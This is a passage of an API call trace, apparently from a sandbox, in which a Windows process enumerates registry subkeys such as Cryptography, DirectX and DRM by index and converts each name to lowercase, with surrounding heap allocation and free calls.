lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0221.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.689] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.689] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.689] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.689] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0x49b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0221.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0221.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x49c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0221.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.689] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.689] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.689] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.689] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0x49b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0221.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0221.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x49c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0221.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.689] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.689] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.689] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.689] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0x49b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0221.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0221.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0221.690] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.690] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.690] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.691] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.691] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0x49b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0221.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0221.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x49c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0221.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.691] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.691] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.691] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.691] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0x49b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0221.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0221.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0221.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.691] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.691] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.691] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.691] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0x49b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0221.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0221.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x49c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0221.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.691] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.691] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.691] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.691] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0x49b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0221.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0221.691] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x49c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0221.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.692] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.692] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.692] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.692] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0x49b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0221.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0221.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x49c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0221.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.692] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.692] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.692] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.692] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0x49b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0221.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0221.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x49c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0221.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.692] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.692] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.692] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.692] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0x49b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0221.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0221.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x49c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0221.692] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.692] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.692] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.692] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.692] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0x49b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0221.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0221.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0221.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.693] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.693] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.693] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.693] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0x49b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0221.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0221.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x49c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0221.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.693] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.693] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.693] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.693] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0x49b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0221.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0221.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x49c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0221.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.693] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.693] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.693] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.693] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0x49b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0221.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0221.693] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x49c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0221.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.694] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.694] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.694] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.694] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0x49b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0221.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0221.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x49c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0221.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.694] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.694] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.694] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.694] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0x49b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0221.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0221.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x49c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0221.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.694] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.694] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.694] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.694] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0x49b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0221.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0221.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0221.694] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.694] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.694] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.695] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.695] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0x49b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0221.695] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0221.695] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x49c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0221.695] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.695] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.695] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.695] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.695] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0x49b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0221.695] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0221.695] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0221.695] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.695] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.695] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.695] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.695] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0x49b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0221.695] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0221.695] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.695] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x49c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0221.695] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.695] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.695] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.695] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.695] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0x49b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0221.695] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0221.696] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.696] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", 